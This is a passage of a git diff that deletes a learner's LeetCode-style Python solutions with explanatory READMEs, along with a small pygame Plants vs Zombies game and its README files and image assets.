Here/PYTHON/Python/DAY3/solution1.py +++ /dev/null @@ -1,25 +0,0 @@ -class Solution: - def romanToInt(self, s: str) -> int: - - # Initialize the roman numerals - roman = { - "I" : 1, - "V" : 5, - "X" : 10, - "L" : 50, - "C" : 100, - "D" : 500, - "M" : 1000 - } - - # Go throught the given string and convert to int - j = 0 - integer = 0 - while j < len(s): - if j+1 < len(s) and roman[s[j]] < roman[s[j+1]]: - integer += (roman[s[j+1]]-roman[s[j]]) - j += 2 - else: - integer += roman[s[j]] - j += 1 - return integer diff --git a/Add Code Here/PYTHON/Python/DAY4/README.md b/Add Code Here/PYTHON/Python/DAY4/README.md deleted file mode 100644 index 6a6f09c28c6..00000000000 --- a/Add Code Here/PYTHON/Python/DAY4/README.md +++ /dev/null @@ -1,41 +0,0 @@ -# Day 4 - -### Question 1: - -Given a string s containing just the characters '(', ')', '{', '}', '[' -and ']', determine if the input string is valid. - -An input string is valid if: - -Open brackets must be closed by the same type of brackets. -Open brackets must be closed in the correct order. -Every close bracket has a corresponding open bracket of the same type. - -### Thought process: - -- Create a dict with the closing parantheses as the keys and its opening -as the values -- Create a stack and push if its an opening para. or if the stack is empty -- If the next para. is the closing of the para. in the stack, pop the -opening out of the stack else return false -- If all the para. in the given string is over, and if the length of the -stack is zero, return true else return false - -### Question 2: - -You are given the heads of two sorted linked lists list1 and list2. - -Merge the two lists in a one sorted list. The list should be made by -splicing together the nodes of the first two lists. - -Return the head of the merged linked list. - -### Thought process: - -- While both the list has elements - - Compare the first node element in each list - - Add the smallest to the new list node and take head of that list -to its next element -- If any list becomes empty before the other - - Make next node of the new list the non-empty list - diff --git a/Add Code Here/PYTHON/Python/DAY4/solution1.py b/Add Code Here/PYTHON/Python/DAY4/solution1.py deleted file mode 100644 index aec68bebde5..00000000000 --- a/Add Code Here/PYTHON/Python/DAY4/solution1.py +++ /dev/null @@ -1,24 +0,0 @@ -class Solution: - def isValid(self, s: str) -> bool: - stack = [] - parantheses = { - ")":"(", - "]":"[", - "}":"{" - } - for i in s: - l = len(stack) - if l == 0: - stack.append(i) - else: - if i not in parantheses.keys(): - stack.append(i) - else: - if stack[l-1] == parantheses[i]: - stack.pop(l-1) - else: - return False - if len(stack) == 0: - return True - else: - return False diff --git a/Add Code Here/PYTHON/Python/DAY4/solution2.py b/Add Code Here/PYTHON/Python/DAY4/solution2.py deleted file mode 100644 index 38f292c77b5..00000000000 --- a/Add Code Here/PYTHON/Python/DAY4/solution2.py +++ /dev/null @@ -1,25 +0,0 @@ -# Definition for singly-linked list. -# class ListNode: -# def __init__(self, val=0, next=None): -# self.val = val -# self.next = next -class Solution: - def mergeTwoLists(self, list1: Optional[ListNode], list2: -Optional[ListNode]) -> Optional[ListNode]: - - merge = current = ListNode() - - while list1 and list2: - if list1.val <= list2.val: - temp = ListNode(list1.val) - list1 = list1.next - else: - temp = ListNode(list2.val) - list2 = list2.next - current.next = temp - current = current.next - if list1 != None: - current.next = list1 - if list2 != None: - current.next = list2 - return merge.next diff --git a/Add Code Here/PYTHON/Python/DAY5/README.md b/Add Code Here/PYTHON/Python/DAY5/README.md deleted file mode 100644 index 7793e6089ff..00000000000 --- a/Add Code Here/PYTHON/Python/DAY5/README.md +++ /dev/null @@ -1,16 +0,0 @@ -# DAY 5 - -### Question 1: - -Given a sorted array of distinct integers and a target value, return the -index if the target is found. If not, return the index where it would be -if it were inserted in order. - -You must write an algorithm with O(log n) runtime complexity. - -### Thought process: - -- If last element of array greater than target, return len(array) -- Else use binary search on the given list -- If found target, return index -- Else return the index of the last midterm diff --git a/Add Code Here/PYTHON/Python/DAY5/solution1.py b/Add Code Here/PYTHON/Python/DAY5/solution1.py deleted file mode 100644 index f138994a6f0..00000000000 --- a/Add Code Here/PYTHON/Python/DAY5/solution1.py +++ /dev/null @@ -1,26 +0,0 @@ -def binary_search(arr, low, high, x): - mid = (high + low) // 2 - # Check base case - if high >= low: - # If element is present at the middle itself - if arr[mid] == x: - return mid - - # If element is smaller than mid, then it can only - # be present in left subarray - elif arr[mid] > x: - return binary_search(arr, low, mid - 1, x) - - # Else the element can only be present in right subarray - else: - return binary_search(arr, mid + 1, high, x) - - else: - # Element is not present in the array - return mid+1 - -class Solution: - def searchInsert(self, nums: List[int], target: int) -> int: - if nums[len(nums)-1] < target: - return len(nums) - return binary_search(nums, 0, len(nums)-1, target) diff --git a/Add Code Here/PYTHON/Python/DAY6/README.md b/Add Code Here/PYTHON/Python/DAY6/README.md deleted file mode 100644 index bbec57e20c4..00000000000 --- a/Add Code Here/PYTHON/Python/DAY6/README.md +++ /dev/null @@ -1,30 +0,0 @@ -# DAY 6 - -### Question 1: - -Given a string s consisting of words and spaces, return the length of the -last word in the string. - -A word is a maximal substring consisting of non-space characters only. - -### Thought process: - -- Strip to remove white space from the start and end -- Split string at " " as ```str.split(" ")``` -- Return the length of the last element of split string using ```len``` -function - -### Question 2: - -You are given a large integer represented as an integer array digits, -where each digits[i] is the ith digit of the integer. The digits are -ordered from most significant to least significant in left-to-right order. -The large integer does not contain any leading 0's. - -Increment the large integer by one and return the resulting array of -digits. - -### Thought process: - -- Convert the list of number into a single number and add one to it -- Map the number into list again and return it diff --git a/Add Code Here/PYTHON/Python/DAY6/solution1.py b/Add Code Here/PYTHON/Python/DAY6/solution1.py deleted file mode 100644 index 489e6864bc4..00000000000 --- a/Add Code Here/PYTHON/Python/DAY6/solution1.py +++ /dev/null @@ -1,3 +0,0 @@ -class Solution: - def lengthOfLastWord(self, s: str) -> int: - return len(s.strip().split(" ")[-1]) diff --git a/Add Code Here/PYTHON/Python/DAY6/solution2.py b/Add Code Here/PYTHON/Python/DAY6/solution2.py deleted file mode 100644 index e52d58b2d10..00000000000 --- a/Add Code Here/PYTHON/Python/DAY6/solution2.py +++ /dev/null @@ -1,7 +0,0 @@ -class Solution: - def plusOne(self, digits: List[int]) -> List[int]: - sum = 0 - l = len(digits)-1 - for idx, i in enumerate(digits): - sum += i*(10**(l-idx)) - return map(int, str(sum+1)) diff --git a/Add Code Here/PYTHON/Python/DAY7/README.md b/Add Code Here/PYTHON/Python/DAY7/README.md deleted file mode 100644 index 1ee6e73e386..00000000000 --- a/Add Code Here/PYTHON/Python/DAY7/README.md +++ /dev/null @@ -1,16 +0,0 @@ -# DAY 7 - -### Question 1: - -Given a non-negative integer x, compute and return the square root of x. - -Since the return type is an integer, the decimal digits are truncated, and -only the integer part of the result is returned. - -Note: You are not allowed to use any built-in exponent function or -operator, such as pow(x, 0.5) or x ** 0.5. - -### Thought process: - -- Couldn't think of idea at first -- Had to look at other solution and code binary search diff --git a/Add Code Here/PYTHON/Python/DAY7/solution1.py b/Add Code Here/PYTHON/Python/DAY7/solution1.py deleted file mode 100644 index 061faaa6d96..00000000000 --- a/Add Code Here/PYTHON/Python/DAY7/solution1.py +++ /dev/null @@ -1,12 +0,0 @@ -class Solution: - def mySqrt(self, x: int) -> int: - low, high= 0, x - if high == 1: return 1 - while low<=high: - mid = low + (high-low)//2 - if mid * mid <= x < (mid+1)*(mid+1): - return mid - elif x < mid*mid: - high = mid - 1 - else: - low = mid + 1 diff --git a/Add Code Here/PYTHON/Python/DAY8/README.md b/Add Code Here/PYTHON/Python/DAY8/README.md deleted file mode 100644 index 357dbcbf3a3..00000000000 --- a/Add Code Here/PYTHON/Python/DAY8/README.md +++ /dev/null @@ -1,16 +0,0 @@ -# Day 8 - -### Question 1: - -A phrase is a palindrome if, after converting all uppercase letters into -lowercase letters and removing all non-alphanumeric characters, it reads -the same forward and backward. Alphanumeric characters include letters and -numbers. - -Given a string s, return true if it is a palindrome, or false otherwise. - -### Thought process: - -- Create a new string with only the letters and digits -- Use slice method to check the string with its reverse -- Return true if they are same else false diff --git a/Add Code Here/PYTHON/Python/DAY8/solution1.py b/Add Code Here/PYTHON/Python/DAY8/solution1.py deleted file mode 100644 index 420d6c893d5..00000000000 --- a/Add Code Here/PYTHON/Python/DAY8/solution1.py +++ /dev/null @@ -1,10 +0,0 @@ -class Solution: - def isPalindrome(self, s: str) -> bool: - palindrome = "" - for i in s: - if i.isalnum(): - if i.isalpha(): i = i.lower() - palindrome += i - if palindrome == palindrome[::-1]: - return True - return False diff --git a/Add Code Here/PYTHON/PythonLists.py b/Add Code Here/PYTHON/PythonLists.py deleted file mode 100644 index 8ce196b1f9a..00000000000 --- a/Add Code Here/PYTHON/PythonLists.py +++ /dev/null @@ -1,2 +0,0 @@ -thislist = ["BMW", "Honda", "Toyota"] -print(thislist) \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/README-zh.md b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/README-zh.md deleted file mode 100644 index 2a9382572d4..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/README-zh.md +++ /dev/null @@ -1,31 +0,0 @@ -# Python版植物大战僵尸 - 一个简单的植物大战僵尸游戏。 - - `仅供个人学习和非商业用途。如果这个游戏侵犯了版权,请告诉我。` - -* 已有的植物: 向日葵, 豌豆射手, 坚果墙, 寒冰豌豆射手, 樱桃炸弹, 三向豌豆射手, 食人花, 喷射蘑菇, 土豆地雷, 杂草地刺, 胆小菇, 南瓜, 愤怒辣椒, 阳光菇, 冰冻蘑菇, 诱惑蘑菇。 -* 已有的僵尸: 普通僵尸, 带队僵尸, 路锥僵尸, 水桶僵尸, 看报僵尸。 -* 使用 JSON 格式的文件存储进度数据 (例如僵尸出现的位置和时间, 背景信息)。 -* 支持选择植物卡片在每一关的开始。 -* 支持白昼模式,夜晚模式,传送带模式和坚果保龄球模式。 - -# 系统要求 -* Python 3.7 -* 注意: Python3.7是最佳运行环境,但是不是强制性要求。 对于Linux: 如果你的 Linux 有预装的 Python3+ 就可以运行了。 LINUX Mint 操作系统直接升级到 Python 3.7 有可能导致系统自带的 python 版本无法执行。 -* Python-Pygame 1.9 - -# 怎样开始游戏 -$ python main.py - -# 怎样玩 -* 使用鼠标收集阳光,收集植物卡片和植物的种子。 -* 你可以通过更改 source/constants.py 中的 START_LEVEL_NUM 的数值来更改起始关卡: - * 1 和 2:白昼模式 - * 3: 夜晚模式 - * 4: 传送带模式 - * 5: 坚果保龄球模式 - -# 截屏 -![截屏1](https://raw.githubusercontent.com/marblexu/PythonPlantsVsZombies/master/demo/demo1.jpg) -![截屏2](https://raw.githubusercontent.com/marblexu/PythonPlantsVsZombies/master/demo/demo2.jpg) -![截屏3](https://raw.githubusercontent.com/marblexu/PythonPlantsVsZombies/master/demo/demo3.jpg) diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/README.md b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/README.md deleted file mode 100644 index d10762dcd5d..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/README.md +++ /dev/null @@ -1,29 +0,0 @@ -# PythonPlantsVsZombies - A simple PlantsVsZombies game.
- `It's only for personal learning and noncommercial use. If this game infringes the copyright, please let me know.` -* implement plants: sunflower, peashooter, wallnut, snowpeashooter, cherrybomb, threepeashooter, chomper, puffshroom, potatomine, spikeweed, scaredyshroom, squash, scaredyshroom, jalapeno, sunShroom, iceShroom, hypnoShroom. -* implement zombies: zombie, flagzombie, coneheadzombie, bucketheadzombie, newspaperzombie. -* use json file to store level data (e.g.position and time of zombies, background info) -* support to select plant cards at the beginning of the level -* support day level, night level, moving card select level and wallnut bowling level - -# Requirement -* Python 3.7 -* Notice: python version 3.7 is advisable, but not required. For LINUX: if your Linux system has a preinstalled python 3+, it's ok to run this game. Updating to python 3.7 directly may break LINUX Mint. -* Python-Pygame 1.9 - -# How To Start Game -$ python main.py - -# How to Play -* use mouse to collect sun, select the plant cards and seed the plant -* you can set the start level by changing START_LEVEL_NUM value in source/constants.py - * level 1 and 2:day level - * level 3: night level - * level 4: moving card select level - * level 5: wallnut bowling level - -# Demo -![demo1](https://raw.githubusercontent.com/marblexu/PythonPlantsVsZombies/master/demo/demo1.jpg) -![demo2](https://raw.githubusercontent.com/marblexu/PythonPlantsVsZombies/master/demo/demo2.jpg) - diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/demo/demo1.jpg b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/demo/demo1.jpg deleted file mode 100644 index 649dee812cf..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/demo/demo1.jpg and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/demo/demo2.jpg b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/demo/demo2.jpg deleted file mode 100644 index 43b20cd2531..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/demo/demo2.jpg and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/demo/demo3.jpg b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/demo/demo3.jpg deleted file mode 100644 index 6f3f89bb05a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/demo/demo3.jpg and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/main.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/main.py deleted file mode 100644 index 9421809f1db..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/main.py +++ /dev/null @@ -1,6 +0,0 @@ -import pygame as pg -from source.main import main - -if __name__=='__main__': - main() - pg.quit() \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_0.png deleted file mode 100644 index cc300989a22..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_1.png deleted file mode 100644 index 7be281ea88c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_2.png deleted file mode 100644 index bde311eb1a0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_3.png deleted file mode 100644 index e354eee6255..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_4.png deleted file mode 100644 index b3355bcf59d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoom/BulletMushRoom_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoomExplode/BulletMushRoomExplode_0.gif b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoomExplode/BulletMushRoomExplode_0.gif deleted file mode 100644 index 0d6a7b40e4b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/BulletMushRoomExplode/BulletMushRoomExplode_0.gif and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/PeaIce/PeaIce_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/PeaIce/PeaIce_0.png deleted file mode 100644 index 462659de00b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/PeaIce/PeaIce_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/PeaNormal/PeaNormal_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/PeaNormal/PeaNormal_0.png deleted file mode 100644 index 13506b3f7ba..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/PeaNormal/PeaNormal_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/PeaNormalExplode/PeaNormalExplode_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/PeaNormalExplode/PeaNormalExplode_0.png deleted file mode 100644 index 865c43f0f65..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Bullets/PeaNormalExplode/PeaNormalExplode_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_cherrybomb.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_cherrybomb.png deleted file mode 100644 index fba0aaeac53..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_cherrybomb.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_cherrybomb_move.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_cherrybomb_move.png deleted file mode 100644 index 03561e0b69a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_cherrybomb_move.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_chomper.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_chomper.png deleted file mode 100644 index 658cd5f8852..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_chomper.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_chomper_move.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_chomper_move.png deleted file mode 100644 index 8a308848b9a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_chomper_move.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_hypnoshroom.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_hypnoshroom.png deleted file mode 100644 index e605f48f00a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_hypnoshroom.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_iceshroom.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_iceshroom.png deleted file mode 100644 index 6ab9c793ed0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_iceshroom.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_jalapeno.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_jalapeno.png deleted file mode 100644 index 5f9486a54ba..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_jalapeno.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_peashooter.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_peashooter.png deleted file mode 100644 index 5b4f3dfa85a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_peashooter.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_peashooter_move.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_peashooter_move.png deleted file mode 100644 index d842730586c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_peashooter_move.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_potatomine.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_potatomine.png deleted file mode 100644 index 192fe4b8b62..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_potatomine.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_potatomine_move.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_potatomine_move.png deleted file mode 100644 index ab9a7e69617..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_potatomine_move.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_puffshroom.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_puffshroom.png deleted file mode 100644 index 6a52f76c616..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_puffshroom.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_redwallnut_move.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_redwallnut_move.png deleted file mode 100644 index 11a6a1fb24e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_redwallnut_move.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_repeaterpea.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_repeaterpea.png deleted file mode 100644 index f595c091187..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_repeaterpea.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_repeaterpea_move.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_repeaterpea_move.png deleted file mode 100644 index d6ead864cfc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_repeaterpea_move.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_scaredyshroom.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_scaredyshroom.png deleted file mode 100644 index b8ebf82cff6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_scaredyshroom.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_snowpea.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_snowpea.png deleted file mode 100644 index 57fb88367f4..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_snowpea.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_snowpea_move.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_snowpea_move.png deleted file mode 100644 index 31f716ee591..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_snowpea_move.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_spikeweed.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_spikeweed.png deleted file mode 100644 index 704a87135c5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_spikeweed.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_squash.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_squash.png deleted file mode 100644 index 7474a8b6578..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_squash.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_sunflower.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_sunflower.png deleted file mode 100644 index 200a3d8e08d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_sunflower.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_sunshroom.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_sunshroom.png deleted file mode 100644 index d869b388e7b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_sunshroom.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_threepeashooter.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_threepeashooter.png deleted file mode 100644 index e71fc31f775..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_threepeashooter.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_wallnut.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_wallnut.png deleted file mode 100644 index 2b7752d51f7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_wallnut.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_wallnut_move.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_wallnut_move.png deleted file mode 100644 index f9bc6e8b8d1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Cards/card_wallnut_move.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_0.jpg b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_0.jpg deleted file mode 100644 index 22631146cae..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_0.jpg and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_1.jpg b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_1.jpg deleted file mode 100644 index 8b8fc26d45d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_1.jpg and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_2.jpg b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_2.jpg deleted file mode 100644 index 2c2e704f916..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_2.jpg and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_3.jpg b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_3.jpg deleted file mode 100644 index cc8dd2ea1a7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_3.jpg and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_4.jpg b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_4.jpg deleted file mode 100644 index d4743ad98f8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Items/Background/Background_4.jpg and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_0.png deleted file mode 100644 index ede961a72f0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/CherryBomb/CherryBomb_1.png deleted file mode 100644 index 827bc87811b..00000000000 Binary files a/Add Code 